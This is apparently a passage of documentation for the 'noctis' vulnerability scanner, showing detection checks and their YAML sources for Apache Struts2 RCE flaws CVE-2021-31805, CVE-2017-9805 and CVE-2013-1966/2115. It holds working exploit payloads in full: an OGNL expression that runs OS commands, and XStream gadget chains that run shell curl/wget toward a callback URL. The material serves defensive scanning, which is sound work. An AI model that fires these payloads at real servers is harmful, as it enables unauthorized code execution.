          still double-evaluate (S2-062, CVE-2021-31805) while blocking this
          chain, so this weaker finding may indicate S2-062 rather than S2-061;
          only the command-execution branch confirms S2-061 specifically.
        evidence: "OGNL double evaluation — POST {{s2061_path}} with %{({{og.a}}*{{og.b}})}, id attribute rendered the computed product {{og.product}}"
      stop: true

Apache Struts2 S2-062 Forced Double OGNL Evaluation Remote Code Execution

CVECVE-2021-31805
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionhttp_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2021-31805.yaml

Apache Struts2 is prone to a remote code execution vulnerability (S2-062, CVE-2021-31805) — the incomplete fix of S2-061 (CVE-2020-17530). Under certain tag attributes Struts2 performs a second OGNL evaluation on attacker-controlled input. This check POSTs a multipart/form-data request to the Struts2 Showcase fallback path (/struts2-showcase/) whose `id` form field carries the S2-062 OGNL payload: it strips excludedPackageNames/excludedClasses from the member access map and executes the OS command `id` through freemarker.template.utility.Execute. A vulnerable (unpatched) instance evaluates the payload and reflects the command output (uid=.../gid=...), confirming unauthenticated remote code execution.

How noctis detects it

  1. HTTP(S) request POST /struts2-showcase/ with a crafted body
  2. Checks ognl_resp.body for uid=[0-9]+.*gid=[0-9]+ → finding QoD 97: Apache Struts2 S2-062 Forced Double OGNL Evaluation Remote Code Execution (CVE-2021-31805)

References:

Feed source — tests/vulnerabilities/struts/CVE-2021-31805.yaml
# CVE-2021-31805 (Apache Struts2 S2-062) — forced double OGNL evaluation RCE.
# Active detection ported from OpenVAS/Greenbone NASL
# 2022/apache/gb_struts_s2-062_active.nasl (GPL-2.0-only).
#
# S2-062 is the incomplete fix of S2-061 (CVE-2020-17530): under certain tag
# attributes Struts2 performs a second OGNL evaluation on attacker input, which
# re-enables static method access and executes arbitrary commands. The NASL
# crawls discovered .action/.do/.jsp URLs and always additionally tries the
# hardcoded fallback base path /struts2-showcase/ (the known-affected Struts2
# Showcase demo app), POSTing a multipart/form-data body whose `id` field holds
# the S2-062 OGNL payload. The payload clears excludedPackageNames /
# excludedClasses on the member-access map, then runs the OS command `id` via
# freemarker.template.utility.Execute. A vulnerable instance reflects the
# command output; the NASL confirms on the regex uid=[0-9]+.*gid=[0-9]+.
#
# The multipart body is sent verbatim by reqwest (http_request), so the OGNL
# payload reaches the target unmodified. QoD 97 — confirmed RCE via the echoed
# `id` output (no URL-encoded path here, so http_request is faithful).
uid: 97d4903e-8970-4472-bc7b-c2a0584f3b35
name: "Apache Struts2 S2-062 Forced Double OGNL Evaluation Remote Code Execution (CVE-2021-31805)"
description: |
  Apache Struts2 is prone to a remote code execution vulnerability (S2-062,
  CVE-2021-31805) — the incomplete fix of S2-061 (CVE-2020-17530). Under certain
  tag attributes Struts2 performs a second OGNL evaluation on attacker-controlled
  input. This check POSTs a multipart/form-data request to the Struts2 Showcase
  fallback path (/struts2-showcase/) whose `id` form field carries the S2-062
  OGNL payload: it strips excludedPackageNames/excludedClasses from the member
  access map and executes the OS command `id` through
  freemarker.template.utility.Execute. A vulnerable (unpatched) instance
  evaluates the payload and reflects the command output (uid=.../gid=...),
  confirming unauthenticated remote code execution.
cves: [CVE-2021-31805]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - rce
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-31805"
  - "https://cwiki.apache.org/confluence/display/WW/S2-062"
  - "OpenVAS/Greenbone NASL 2022/apache/gb_struts_s2-062_active.nasl (GPL-2.0-only)"
  - "misc_func.inc:exploit_commands() — Linux `id` command / uid=...gid=... pattern"

steps:
  # ── Exploit: POST the S2-062 OGNL payload to the Showcase fallback path ────
  # Multipart form field `id` carries the forced-double-evaluation OGNL. The
  # expression clears the member-access exclude lists and runs the OS command
  # `id` via freemarker.template.utility.Execute. Body sent verbatim (no URL
  # encoding), CRLF-delimited as required by multipart/form-data.
  - id: ognl-exploit
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/struts2-showcase/"
    headers:
      Content-Type: "multipart/form-data; boundary=s2062noctisBOUNDARY"
    body: "--s2062noctisBOUNDARY\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))}\r\n--s2062noctisBOUNDARY--\r\n"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ognl_resp

  # Confirm the reflected `id` output — only an unpatched instance evaluates the
  # OGNL and echoes uid=...gid=.... Matches the NASL's exploit_commands() regex.
  - id: match-rce
    action: match
    source: ognl_resp.body
    pattern: "uid=[0-9]+.*gid=[0-9]+"
    condition: "ognl_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache Struts2 S2-062 Forced Double OGNL Evaluation Remote Code Execution (CVE-2021-31805)"
        description: >
          The Apache Struts2 Showcase application at /struts2-showcase/ evaluated
          an S2-062 OGNL payload injected via a multipart `id` form field and
          executed the OS command `id` through
          freemarker.template.utility.Execute, reflecting its output
          (uid=.../gid=...) in the response. This confirms S2-062
          (CVE-2021-31805) unauthenticated remote code execution.
        evidence: "OGNL/RCE confirmed — reflected `id` output from /struts2-showcase/: {{ognl_resp.body}}"
      stop: true

Apache Struts 2 REST Plugin XStream Deserialization RCE (CVE-2017-9805 / S2-052)

CVECVE-2017-9805
Severityhigh · CVSS 8.1
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2017-9805.yaml

Reports when the REST plugin deserializes an unfiltered XStream gadget at /orders/3 (cast error on an inert payload). With OOB enabled it confirms the RCE by the callback.

How noctis detects it

  1. HTTP(S) request POST /struts2-rest-showcase/orders/3 with a crafted body
  2. Checks inert_showcase.body for java\.lang\.String cannot be cast to (class )?java\.security\.Provide… → finding QoD 75: Struts REST XStreamHandler deserialized an unfiltered gadget chain at /struts2-rest-showcase/orders/3: HTTP … with 'java.lang.String cannot…
  3. HTTP(S) request POST /orders/3 with a crafted body
  4. Checks inert_root.body for java\.lang\.String cannot be cast to (class )?java\.security\.Provide… → finding QoD 75: Struts REST XStreamHandler deserialized an unfiltered gadget chain at /orders/3: HTTP … with 'java.lang.String cannot be cast to java.secur…
  5. HTTP(S) request POST /struts2-rest-showcase/orders/3 with a crafted body
  6. HTTP(S) request POST /orders/3 with a crafted body
  7. HTTP(S) request POST /struts2-rest-showcase/orders/3 with a crafted body
  8. HTTP(S) request POST /orders/3 with a crafted body
  9. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Struts REST XStream gadget chain reached its reflective sink (ProcessBuilder.start() running curl/wget, or java.net.URL.openStream()) and t…

References:

Feed source — tests/vulnerabilities/struts/CVE-2017-9805.yaml
# Apache Struts 2 REST plugin XStream deserialization RCE — CVE-2017-9805 (S2-052)
#
# Ported from OpenVAS/Greenbone NVT 2017/apache/gb_struts_s2-052_active.nasl
# (OID 1.3.6.1.4.1.25623.1.0.811730, GPL-2.0-only). Same endpoints (the REST showcase
# /struts2-rest-showcase/orders/3 and /orders/3), same Content-Type: application/xml and
# the same jdk.nashorn NativeString -> Base64Data -> CipherInputStream -> FilterIterator
# -> ImageIO$ContainsFilter XStream gadget. The only intended deviations are the benign
# proofs below (NASL pings the scanner and sniffs ICMP; noctis has no ICMP capture).
#
# Struts 2.1.2-2.3.33 / 2.5-2.5.12: the REST plugin's XStreamHandler hands any XML request
# body to an XStream instance with no type filtering, so an unauthenticated attacker picks
# arbitrary classes and the gadget ends in a reflective ProcessBuilder.start().
#
# Two detection methods:
#
#   1. Inert gadget (QoD 75, always runs). The real gadget chain with its sink swapped
#      for a no-op: the inner iterator yields a plain String and the ContainsFilter
#      reflectively calls String.toString() instead of ProcessBuilder.start(). Nothing is
#      executed, but a vulnerable server still instantiates every attacker-chosen class
#      and walks the chain to its end, where Cipher casts the iterator's element and fails
#      with "java.lang.String cannot be cast to java.security.Provider$Service" — the
#      signature of the unfiltered XStream deserialization. A fixed 2.5.13+ (XStream type
#      whitelist) rejects NativeString with ForbiddenClassException, and a server without
#      the XML handler answers 4xx: neither carries the cast error.
#
#   2. OOB exploitation (QoD 97, only with --oob). The same gadget with the real
#      ProcessBuilder.start() sink running `curl`/`wget` of {{oob_url}} to /dev/null: a
#      single outbound GET to the noctis OOB listener, nothing written, nothing read.
#      The callback proves remote command execution (Linux, /bin/sh). A second variant
#      of the gadget swaps the sink for java.net.URL.openStream() on {{oob_url}}: the
#      JVM itself fetches the URL, so the proof also works on Windows and on images
#      without curl/wget — cases the NASL ping check misses.
uid: c2cdc46e-33d7-4f68-a91a-38e402f5843b
name: "Apache Struts 2 REST Plugin XStream Deserialization RCE (CVE-2017-9805 / S2-052)"
description: "Reports when the REST plugin deserializes an unfiltered XStream gadget at /orders/3 (cast error on an inert payload). With OOB enabled it confirms the RCE by the callback."
cves: [CVE-2017-9805]
cvss: 8.1
severity: high
category: rce
confidence_base: 0.30
tags:
  - apache
  - struts
  - struts2-rest
  - xstream
  - deserialization
  - rce
  - intrusive
  - oob
  - kev
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-9805"
  - "https://cwiki.apache.org/confluence/display/WW/S2-052"
  - "https://github.com/mazen160/struts-pwn_CVE-2017-9805"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts2_rest_xstream.rb"

steps:
  - id: init-vars
    action: set_var
    var_name: xstream_detected
    var_value: false

  # ── Method 1: inert gadget (QoD 75) ─────────────────────────────────────────
  - id: inert-showcase
    action: http_request
    method: POST
    path: /struts2-rest-showcase/orders/3
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="string">noctis-{{oob_token}}</next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.String</class>
                            <name>toString</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: inert_showcase

  # The cast failure only happens once XStream has rebuilt the whole attacker-chosen
  # object graph and the chain has run to its sink.
  - id: confirm-inert-showcase
    action: match
    source: inert_showcase.body
    pattern: 'java\.lang\.String cannot be cast to (class )?java\.security\.Provider\$Service'
    condition: "xstream_detected == false && inert_showcase.status >= 500"
    on_match:
      finding:
        confidence_delta: 0.45   # 0.30 + 0.45 = 0.75
        qod: 75
        evidence: "Struts REST XStreamHandler deserialized an unfiltered gadget chain at /struts2-rest-showcase/orders/3: HTTP {{inert_showcase.status}} with 'java.lang.String cannot be cast to java.security.Provider$Service' (inert sink String.toString, nothing executed)"
      set_vars:
        xstream_detected: true
  - id: inert-root
    action: http_request
    method: POST
    path: /orders/3
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "xstream_detected == false"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="string">noctis-{{oob_token}}</next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.String</class>
                            <name>toString</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: inert_root

  # The cast failure only happens once XStream has rebuilt the whole attacker-chosen
  # object graph and the chain has run to its sink.
  - id: confirm-inert-root
    action: match
    source: inert_root.body
    pattern: 'java\.lang\.String cannot be cast to (class )?java\.security\.Provider\$Service'
    condition: "xstream_detected == false && inert_root.status >= 500"
    on_match:
      finding:
        confidence_delta: 0.45   # 0.30 + 0.45 = 0.75
        qod: 75
        evidence: "Struts REST XStreamHandler deserialized an unfiltered gadget chain at /orders/3: HTTP {{inert_root.status}} with 'java.lang.String cannot be cast to java.security.Provider$Service' (inert sink String.toString, nothing executed)"
      set_vars:
        xstream_detected: true

  # ── Method 2: OOB exploitation (QoD 97) — skipped unless --oob ─────────────
  # Sent to both endpoints regardless of method 1: production servers often hide the
  # stack trace, so the callback is the authoritative proof.
  - id: oob-showcase
    action: http_request
    method: POST
    path: /struts2-rest-showcase/orders/3
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="java.lang.ProcessBuilder">
                            <command>
                              <string>/bin/sh</string>
                              <string>-c</string>
                              <string>curl -s -o /dev/null {{oob_url}} || wget -q -O /dev/null {{oob_url}}</string>
                            </command>
                            <redirectErrorStream>false</redirectErrorStream>
                          </next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.ProcessBuilder</class>
                            <name>start</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: oob_showcase
  - id: oob-root
    action: http_request
    method: POST
    path: /orders/3
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="java.lang.ProcessBuilder">
                            <command>
                              <string>/bin/sh</string>
                              <string>-c</string>
                              <string>curl -s -o /dev/null {{oob_url}} || wget -q -O /dev/null {{oob_url}}</string>
                            </command>
                            <redirectErrorStream>false</redirectErrorStream>
                          </next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.ProcessBuilder</class>
                            <name>start</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: oob_root

  # Same chain, JVM-only sink: the filter calls java.net.URL.openStream() on a URL the
  # gadget builds, i.e. the target's own JVM issues the GET. No OS command, so it also
  # fires on Windows hosts and on minimal images without curl/wget, where the NASL
  # (ping) and the ProcessBuilder variant above stay silent.
  - id: oob-jvm-showcase
    action: http_request
    method: POST
    path: /struts2-rest-showcase/orders/3
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="url">{{oob_url}}</next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.net.URL</class>
                            <name>openStream</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: oob_jvm_showcase
  - id: oob-jvm-root
    action: http_request
    method: POST
    path: /orders/3
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled"
    headers:
      Content-Type: "application/xml"
    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="url">{{oob_url}}</next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.net.URL</class>
                            <name>openStream</name>
                            <parameter-types/>
                          </method>
                          <name>foo</name>
                        </filter>
                        <next class="string">foo</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer/>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>
    store_as: oob_jvm_root

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    store_as: oob_result
    condition: "oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.67   # 0.30 + 0.67 = 0.97
        qod: 97
        evidence: "Struts REST XStream gadget chain reached its reflective sink (ProcessBuilder.start() running curl/wget, or java.net.URL.openStream()) and the target called back the noctis OOB URL — confirmed unauthenticated deserialization RCE (CVE-2017-9805)"
      stop: true

Apache Struts2 S2-013 / S2-014 includeParams OGNL Remote Code Execution

CVECVE-2013-1966, CVE-2013-2115
Severityhigh · CVSS 8.1
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/s2-013-s2-014-includeparams-ognl.yaml

Apache Struts2 2.0.0 through 2.3.14.1 evaluates request parameters as OGNL when a page renders an <s:url> or <s:a> tag with includeParams="all" or "get" (S2-013, CVE-2013-1966; S2-014, CVE-2013-2115 for the incomplete 2.3.14.1 fix). This check sends GET requests to the struts2-blank HelloWorld page and a few common Struts2 entry points with two randomly named query parameters holding benign arithmetic in both `%{...}` and `${...}` form, and reports when the computed product (never present in the request) is rendered into the page's links. It then injects an OGNL call that prints `NOCTIS<n>` on the servlet response writer, with <n> computed by OGNL; that marker in the reply confirms unauthenticated Java code execution. No OS command is run and nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{s2013_path}}?{{og.p1}}=%25%7B{{og.a}}*{{og.b}}%7D&{{og.p2}}=%24%7B{{og.c}}*{{og.d}}…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{s2013_path}}?{{og.p3}}=%25%7B%23context%5B%27com.opensymphony.xwork2.dispatcher.Htt…
  5. Parses / computes the next value with a Rhai script
  6. Checks exec_resp.body for NOCTIS[0-9]+ → finding QoD 97: Apache Struts2 S2-013 / S2-014 includeParams OGNL Remote Code Execution (CVE-2013-1966, CVE-2013-2115)
  7. Checks arith_resp.body for n[a-z0-9]{8}=[0-9]+ → finding QoD 75: Apache Struts2 S2-013 / S2-014 includeParams OGNL Evaluation (CVE-2013-1966, CVE-2013-2115)

References:

Feed source — tests/vulnerabilities/struts/s2-013-s2-014-includeparams-ognl.yaml
# Apache Struts2 S2-013 / S2-014 (CVE-2013-1966, CVE-2013-2115) — OGNL
# evaluation of request parameters through the includeParams attribute of the
# <s:url> / <s:a> tags. Credit: active check ported from OpenVAS/Greenbone NASL
# 2013/apache/gb_struts_s2-013_s2-014_active.nasl (GPL-2.0-only), then reworked.
#
# When a page renders <s:url includeParams="all|get"> (or <s:a>), Struts copies
# every request parameter into the generated link and, before 2.3.14.2, runs
# each value through OGNL translation: `%{...}` (S2-013) and `${...}` (S2-014,
# the incomplete 2.3.14.1 fix) are evaluated and the result is written into
# the href. Struts 2.3.14.2 stops evaluating and renders the raw value.
#
# The NASL POSTs `${#_memberAccess["allowStaticMethodAccess"]=true,
# @java.lang.Thread@sleep(N000)}` to /struts2-blank/example/HelloWorld.action
# (gated on ">Struts" + ">English<") and times 3 s and 5 s sleeps. Verified on
# real struts2-blank 2.3.14 / 2.3.14.1 / 2.3.14.2 wars under Tomcat 9:
#   - the stock blank app renders <s:url> with the default includeParams="none",
#     so it is NOT vulnerable — the NASL's gate only identifies the app;
#   - with includeParams="all", 2.3.14 evaluates both forms; 2.3.14.1 still
#     evaluates arithmetic and instance-method calls but refuses static method
#     access, so the NASL's Thread.sleep payload misses 2.3.14.1 (an S2-014
#     false negative); 2.3.14.2 renders the raw percent-encoded value.
#
# This feed differs from the NASL (better detection, no timing):
#   - parameters go in the QUERY STRING (GET): includeParams="get" only copies
#     query parameters, so the NASL's POST body misses those pages;
#   - stage 1 (QoD 75): `%{A*B}` and `${C*D}` with random operands and random
#     parameter names; the computed product rendered after `<name>=` proves
#     OGNL evaluation. A raw reflection can never contain the product;
#   - stage 2 (QoD 97, only after stage 1): an instance-method call on the
#     servlet response writer, println('NOCTIS'+(E*F)), in both `%{}` and `${}`
#     forms — works on 2.3.14.1 too (no static method access needed). The
#     marker is built by OGNL, so it never appears in the request. Nothing is
#     written on the target; no OS command runs.
#   - no crawler: loops over the NASL's struts2-blank URL, the same app
#     deployed as ROOT, `/` and `/index.action`.
uid: d822695d-78e3-411d-a8dd-cdc97d744283
name: "Apache Struts2 S2-013 / S2-014 includeParams OGNL Remote Code Execution (CVE-2013-1966, CVE-2013-2115)"
description: |
  Apache Struts2 2.0.0 through 2.3.14.1 evaluates request parameters as OGNL
  when a page renders an <s:url> or <s:a> tag with includeParams="all" or
  "get" (S2-013, CVE-2013-1966; S2-014, CVE-2013-2115 for the incomplete
  2.3.14.1 fix). This check sends GET requests to the struts2-blank
  HelloWorld page and a few common Struts2 entry points with two randomly
  named query parameters holding benign arithmetic in both `%{...}` and
  `${...}` form, and reports when the computed product (never present in the
  request) is rendered into the page's links. It then injects an OGNL call
  that prints `NOCTIS<n>` on the servlet response writer, with <n> computed by
  OGNL; that marker in the reply confirms unauthenticated Java code
  execution. No OS command is run and nothing is written on the target.
cves: [CVE-2013-1966, CVE-2013-2115]
cvss: 8.1
severity: high
confidence_base: 0.30
category: rce
tags:
  - apache
  - struts
  - ognl
  - s2-013
  - s2-014
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1966"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-2115"
  - "https://cwiki.apache.org/confluence/display/WW/S2-013"
  - "https://cwiki.apache.org/confluence/display/WW/S2-014"
  - "OpenVAS/Greenbone NASL 2013/apache/gb_struts_s2-013_s2-014_active.nasl (GPL-2.0-only)"

steps:
  # ── Random parameter names and operands for this run ─────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      let c = rand_int(1013, 9973);
      let d = rand_int(1013, 9973);
